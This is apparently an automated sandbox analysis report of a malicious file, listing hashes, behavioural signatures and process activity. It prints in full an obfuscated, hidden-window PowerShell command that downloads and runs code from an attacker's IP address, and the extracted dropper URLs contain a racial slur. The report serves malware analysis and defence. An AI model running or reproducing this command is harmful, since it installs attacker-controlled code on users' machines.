Analysis
- user interaction
yes - max time kernel
64s - max time network
64s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
10/08/2026, 01:03
Static task
static1
Behavioral task
behavioral1
Sample
aa.txt
Resource
win10v2004-20260513-en
7 signatures
150 seconds
General
- Target aa.txt
- Size 1KB
- Sample260810-beftasgn2v
- SHA256 72d56593c46f930299442f6910b79d485135732c0c13fabf3f5f859aeeb42aa5
- MD5 38297d19ad98f1d2e29f9a500ef778a6
- SHA1 a98fb66662a52554595f193ba8b7920a51cff37b
- SHA512 4a6cef8d679041f9f8e3ce8cd48e4b01d54d7e038f1b70efe0473307c8bdf2b7ccdd281e87aafa28abf268f65f21f070961340eee722062417c71493f4ad32cc
- TLSH T18C21996E9CB0F8C047AD3060D9212D9B20A46B67CF314A7CE80418F67C91365EF2A78C
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://193.161.193.99:43924/nigger/3q4Fvi2J
-
ps1.dropper
http://193.161.193.99:43924/nigger
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 17 3732 powershell.exe 34 3732 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3732 powershell.exe - Suspicious clipboard content. 1 IoCs
A suspicious script was copied to clipboard.
ioc Process powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAGwAZwBmAD0 NOTEPAD.EXE - Opens file in notepad (likely ransom note) 1 IoCs
pid Process 2772 NOTEPAD.EXE - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3808 powershell.exe 3808 powershell.exe 3808 powershell.exe 3732 powershell.exe 3732 powershell.exe 3732 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3808 powershell.exe Token: SeDebugPrivilege 3732 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 3808 wrote to memory of 3732 3808 powershell.exe 99
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\aa.txt1⤵
- Suspicious clipboard content.
- Opens file in notepad (likely ransom note)
PID:2772
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAGwAZwBmAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGkAbABnAGYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABpAGwAZwBmAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAxADYAMQAuADEAOQAzAC4AOQA5ADoANAAzADkAMgA0AC8AbgBpAGcAZwBlAHIALwAzAHEANABGAHYAaQAyAEoAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAzAC4AMQA2ADEALgAxADkAMwAuADkAOQA6ADQAMwA5ADIANAAvAG4AaQBnAGcAZQByACcAKQApADsA2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3732
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uf1hvyfr.jbi.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH